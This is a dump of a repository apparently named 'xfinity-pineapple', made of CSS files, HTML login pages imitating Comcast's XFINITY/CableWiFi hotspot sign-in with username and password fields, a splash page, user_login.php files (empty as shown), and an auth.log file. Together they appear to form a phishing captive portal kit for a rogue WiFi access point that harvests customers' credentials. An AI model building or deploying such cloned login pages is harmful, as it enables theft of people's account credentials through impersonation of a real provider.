908 | margin-left: 0; 909 | right: 30px; 910 | top: 32px; 911 | } 912 | #content.amenity-message h2.title { 913 | height: 46px; 914 | padding-top: 60px; 915 | padding-bottom: 6px; 916 | } 917 | .amenity-message .content-section { 918 | float: left; 919 | margin: 25px 0 25px 5px; 920 | width: 575px; 921 | } 922 | .amenity-message .content-section h3 { 923 | font-weight: normal; 924 | } 925 | .amenity-message .content-section ul { 926 | margin-top: 20px; 927 | } 928 | .amenity-message .content-section li { 929 | margin-bottom: 15px; 930 | } 931 | .amenity-message .content-section img { 932 | margin: 36px -31px 45px -40px; 933 | position: relative; 934 | top: 0; 935 | } 936 | #content.amenity-message .content-section .form-instructions { 937 | clear: both; 938 | color: #000; 939 | font-size: 11px; 940 | margin-right: -100px; 941 | } 942 | #content.amenity-message .rails-container { 943 | float: right; 944 | left: auto; 945 | margin: 34px 5px 0 0; 946 | position: relative; 947 | top: auto; 948 | width: auto; 949 | } 950 | #content.amenity-message .rails-container h2 { 951 | font-size: 24px; 952 | font-weight: 500; 953 | margin: 0; 954 | } 955 | #content.amenity-message .signin-rail .form-field.first { 956 | margin-top: 5px; 957 | } 958 | #content.amenity-message .signin-rail .form-field { 959 | margin-top: 10px; 960 | } 961 | #content.amenity-message .form-field.checkbox-field { 962 | margin-bottom: 6px; 963 | margin-top: 16px; 964 | } 965 | #content.amenity-message .form-field.checkbox-field label { 966 | line-height: 14px; 967 | width: 150px; 968 | } 969 | .amenity-message .separator { 970 | clear: both; 971 | } 972 | #container .amenity-message .legal { 973 | margin-left: 5px; 974 | margin-right: 5px; 975 | width: auto; 976 | } 977 | /* FUTUE 978 | ---------------------------------------------------------------------------- */ 979 | #content > h2 { 980 | font-size: 27px; 981 | line-height: 27px; 982 | } 983 | h2 + .hotspots-columns { 984 | margin-top: 86px; 985 | } 986 | .hotspots-columns img { 987 | position: relative; 988 | left: -30px; 989 | margin: -40px 0 26px 0; 990 | } 991 | .hero-marquee { 992 | background-color: #fff; 993 | -webkit-border-radius: 3px; 994 | -moz-border-radius: 3px; 995 | border-radius: 3px; 996 | -webkit-box-shadow: 0 1px 1px #666; 997 | -moz-box-shadow: 0 1px 1px #666; 998 | box-shadow: 0 1px 1px #666; 999 | border: 1px solid #cacaca; 1000 | margin: 0 auto; 1001 | padding: 0 30px 30px; 1002 | position: relative; 1003 | width: 395px; 1004 | } 1005 | .hero-marquee .marquee-logo { 1006 | background: transparent url(sprites/sprites-icons.png) 50% -65px no-repeat; 1007 | display: block; 1008 | height: 90px; 1009 | text-indent: -999em; 1010 | width: 90px; 1011 | 1012 | } 1013 | .error{color: #C7001D;margin-top:10px;padding-top:10px;border-top:3px solid #D5D5D5; font-weight: bold;} 1014 | .error_solo{color: #C7001D;margin-top:10px;padding-top:10px;} 1015 | -------------------------------------------------------------------------------- /login-page-option1/index_files/hero-ipad.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MikeDawg/xfinity-pineapple/a5cc658b9b87cc56167d1b3815430f253933410b/login-page-option1/index_files/hero-ipad.jpg -------------------------------------------------------------------------------- /login-page-option1/index_files/reset.css: -------------------------------------------------------------------------------- 1 | /* http://meyerweb.com/eric/tools/css/reset/ 2 | v2.0 | 20110126 3 | License: none (public domain) 4 | */ 5 | 6 | html, body, div, span, applet, object, iframe, 7 | h1, h2, h3, h4, h5, h6, p, blockquote, pre, 8 | a, abbr, acronym, address, big, cite, code, 9 | del, dfn, em, img, ins, kbd, q, s, samp, 10 | small, strike, strong, sub, sup, tt, var, 11 | b, u, i, center, 12 | dl, dt, dd, ol, ul, li, 13 | fieldset, form, label, legend, 14 | /*table, caption, tbody, tfoot, thead, tr, th, td,*/ 15 | article, aside, canvas, details, embed, 16 | figure, figcaption, footer, header, hgroup, 17 | menu, nav, output, ruby, section, summary, 18 | time, mark, audio, video { 19 | margin: 0; 20 | padding: 0; 21 | border: 0; 22 | font-size: 100%; 23 | font: inherit; 24 | vertical-align: baseline; 25 | } 26 | /* HTML5 display-role reset for older browsers */ 27 | article, aside, details, figcaption, figure, 28 | footer, header, hgroup, menu, nav, section { 29 | display: block; 30 | } 31 | body { 32 | line-height: 1; 33 | } 34 | ol, ul { 35 | list-style: none; 36 | } 37 | blockquote, q { 38 | quotes: none; 39 | } 40 | blockquote:before, blockquote:after, 41 | q:before, q:after { 42 | content: ''; 43 | content: none; 44 | } 45 | /*table { 46 | border-collapse: collapse; 47 | border-spacing: 0; 48 | }*/ -------------------------------------------------------------------------------- /login-page-option1/user_login.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /login-page-option2/auth.log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MikeDawg/xfinity-pineapple/a5cc658b9b87cc56167d1b3815430f253933410b/login-page-option2/auth.log -------------------------------------------------------------------------------- /login-page-option2/auth/index.html: -------------------------------------------------------------------------------- 1 | 2 | 15 | CableWiFi 16 | 17 | 18 | 19 | 20 | 21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 | 30 |
31 |
32 |
33 | Sign in with your Username
(Comcast ID or Email)
34 |
35 |
36 |
37 | Invalid Username and/or Password
38 |
39 | 40 |
41 | 42 |
43 |
44 |
45 |
46 | 47 | 48 |
49 |
50 |
51 |
52 | 53 | 54 |
55 |
56 |
57 | 60 |
61 |
62 | 63 |
Not a XFINITY WiFi customer? Click here to select your service provider
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 | 72 | 73 | -------------------------------------------------------------------------------- /login-page-option2/auth/style.css: -------------------------------------------------------------------------------- 1 | body {margin-top:0px; } 2 | #mainContainer {width:300px;position:relative;margin:auto;padding-top:15px;overflow:hidden;} 3 | 4 | .roundedCorners .topWhiteShadow .c, .roundedCorners .btmWhiteShadow .c {font-size:1px;height:5px;} 5 | .roundedCorners .topWhiteShadow .c, .roundedCorners .mdlWhiteShadow .c, .roundedCorners .btmWhiteShadow .c {text-align:center;} 6 | .roundedCorners .btmWhiteShadow {height:1%;} 7 | html>body .roundedCorners .btmWhiteShadow {height:auto;} 8 | .roundedCorners {padding:0px;margin:0px auto;} 9 | .roundedCorners .topWhiteShadow {background:transparent url(../images/corner_whiteShadow_lt.gif) repeat-y 0 0;} 10 | .roundedCorners .topWhiteShadow .c {background:transparent url(../images/corner_whiteShadow_rt.gif) no-repeat right 0;} 11 | .roundedCorners .mdlWhiteShadow {background:transparent url(../images/corner_whiteShadow_lm.gif) repeat-y 0 0;} 12 | .roundedCorners .mdlWhiteShadow .c {background:transparent url(../images/corner_whiteShadow_rm.gif) repeat-y right 0;} 13 | .roundedCorners .btmWhiteShadow {background:transparent url(../images/corner_whiteShadow_lb.gif) no-repeat 0 0;} 14 | .roundedCorners .btmWhiteShadow .c {background:transparent url(../images/corner_whiteShadow_rb.gif) no-repeat right 0;} 15 | 16 | a:link {text-decoration:none;color:#666;font-family:"Lucida Grande","Lucida Sans Unicode",sans-serif;font-size:14px;font-weight:bold;} 17 | a:visited {text-decoration:none;color:#666;font-family:"Lucida Grande","Lucida Sans Unicode",sans-serif;font-size:14px;font-weight:bold;} 18 | 19 | .signInDiv1 {left:0px;} 20 | 21 | .logoBlock {height:68px;padding:10px 0px 0px 0px;text-decoration:none;color:#666;font-family:"Lucida Grande","Lucida Sans Unicode",sans-serif;font-size:14px;font-weight:bold;} 22 | 23 | .vImg {float:left;height:45px; width:1px;margin:10px 20px 10px 20px;} 24 | 25 | .logo {float:left;padding:0px 0px 0px 20px;} 26 | 27 | .logo-ccc {float:left;padding:10px 0px 0px 50px;} 28 | 29 | .logo-bhn {float:left;padding:10px 0px 0px 40px;} 30 | 31 | .logo-cox {float:left;padding:0px 0px 0px 26px;} 32 | 33 | .signIn {float:left;padding:15px 5px 0px 0px;text-decoration:none;color:#666;font-family:"Lucida Grande","Lucida Sans Unicode",sans-serif;font-size:14px;font-weight:bold;} 34 | .signInFont {font-family:"Lucida Grande","Lucida Sans Unicode",sans-serif;font-size:12px;color:#999;font-weight:bold;padding:10px 0px 15px 0px;} 35 | 36 | .thankYou {float:left;padding:15px 5px 0px 100px;text-decoration:none;color:#666;font-family:"Lucida Grande","Lucida Sans Unicode",sans-serif;font-size:14px;font-weight:bold;} 37 | 38 | .terms {padding:0px 0px 0px 25px;float:left;} 39 | 40 | .btnGryLg {cursor:pointer;height:31px;width:80px;} 41 | .btnGryLg .left {background-image:url("../images/btn_left_gry_lg.jpg");background-origin:padding-box;background-position:left top;background-repeat:no-repeat;background-size:auto auto;height:31px;} 42 | .btnGryLg .right {background-image:url("../images/btn_right_gry_lg.jpg");background-origin:padding-box;background-position:right top;background-repeat:no-repeat;background-size:auto auto;height:31px;padding-bottom:0;padding-left:0px;padding-right:0px;padding-top:0;} 43 | .btnGryLg .txt {background-attachment:scroll;background-clip:border-box;background-color:transparent;background-image:url("../images/btn_mdl_gry_lg.jpg");background-origin:padding-box;background-position:left top;background-repeat:repeat-x;background-size:auto auto;color:#000000;font-family:"Lucida Grande","Lucida Sans Unicode",sans-serif;font-size:13px;height:31px;text-align:center;width:76px;border:0 none;margin:0;padding:0;} 44 | 45 | #frmSignIn .inputbox {border-color:#ccc;border-style:solid;border-width:2px 1px 1px 2px;height:25px;width:140px;} 46 | #frmSignIn, 47 | #frmSignIn form {margin:0px;padding:0px;} 48 | 49 | label {float:left;font-weight:600;position:relative;width:100px;left:20px;font-family:"Lucida Grande","Lucida Sans Unicode",sans-serif;text-align:right;font-size:12px;color:#333;} 50 | label.slimForm {margin-top:2px;width:100px;} 51 | 52 | a.bluFont, a.bluFont:hover {color:#0175AB;font-family:Arial,Helvetica,sans-serif;font-size:13px;position:relative;left:30px;top:22px;float:left;margin-top:2.5px;} 53 | a.bluLink, a.bluLink:hover {color:#0175AB;font-family:Arial,Helvetica,sans-serif;font-size:13px;} 54 | 55 | .btnSubmit {position:relative;margin-left:190px;padding-top:10px;padding-bottom:20px;} 56 | 57 | .bgText {font-family:"Lucida Grande","Lucida Sans Unicode",sans-serif;font-size:1.2em;color:#666;font-weight:900;padding:10px 20px 10px 20px;} 58 | .bgText2 {font-family:"Lucida Grande","Lucida Sans Unicode",sans-serif;font-size:12px;color:#666;font-weight:900;padding:10px 20px 10px 20px;} 59 | 60 | .error {font-family:"Lucida Grande","Lucida Sans Unicode",sans-serif;font-size:12px;color:#f90a0a;padding:0px 0px 10px 0px;} 61 | 62 | .clickText {text-align:left;padding:10px 20px 0px 25px} 63 | .terms {position:relative;padding-right:10px} 64 | .clickLink {font-family:"Lucida Grande","Lucida Sans Unicode",sans-serif;font-size:13px;color:#999;position:relative;margin-left:25px} 65 | 66 | .faqLink {position:relative;float:left;margin-left:30px;top:-40px;} 67 | .faq {font-weight:normal;} 68 | .faq h1,h2,h3,h4,h5,h6 {color:#0175AB;font-family:Arial,Helvetica,sans-serif;} 69 | .questions a {font-weight:normal} 70 | .answers a {font-weight:normal} 71 | .faq li {padding-bottom: 5px;} 72 | .faq .question {font-weight:bold;padding-bottom:10px} 73 | .faq .answer {padding-bottom:5px;} 74 | -------------------------------------------------------------------------------- /login-page-option2/auth/user_login.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /login-page-option2/index.html: -------------------------------------------------------------------------------- 1 | 2 | 15 | CableWiFi 16 | 17 | 18 | 19 | 20 | 21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 | 30 |
31 |
32 |
33 | Sign in with your Username
(Comcast ID or Email)
34 |
35 | 36 |
37 | 38 |
39 |
40 |
41 |
42 | 43 |
44 |
45 |
46 |
47 | 48 | 49 |
50 |
51 |
52 | 55 |
56 |
57 | 58 |
Not a XFINITY WiFi customer? Click here to select your service provider
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 | 67 | 68 | -------------------------------------------------------------------------------- /login-page-option2/user_login.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /splash.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Xfinity Wireless 4 | 5 | 34 | 35 | 36 |


37 |
38 | 39 | 40 | Click to enter 41 |

42 |

please log in to continue...

43 |
44 |
45 |
46 |
47 | 48 | 49 | 50 |
51 |
52 |
53 |
54 | 55 | --------------------------------------------------------------------------------